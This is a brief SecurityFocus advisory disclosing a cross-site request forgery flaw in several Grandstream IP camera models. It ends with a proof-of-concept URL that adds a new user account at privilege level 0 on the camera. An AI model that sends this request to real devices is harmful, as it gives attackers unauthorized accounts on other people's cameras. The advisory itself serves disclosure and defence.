source: https://www.securityfocus.com/bid/60532/info

Grandstream multiple IP cameras including GXV3501, GXV3504, GXV3601, GXV3601HD/LL, GXV3611HD/LL, GXV3615W/P, GXV3651FHD, GXV3662HD, GXV3615WP_HD, and GXV3500 are prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks. 

http://www.example.com/goform/usermanage?cmd=add&user.name=test3&user.password=test3&user.level=0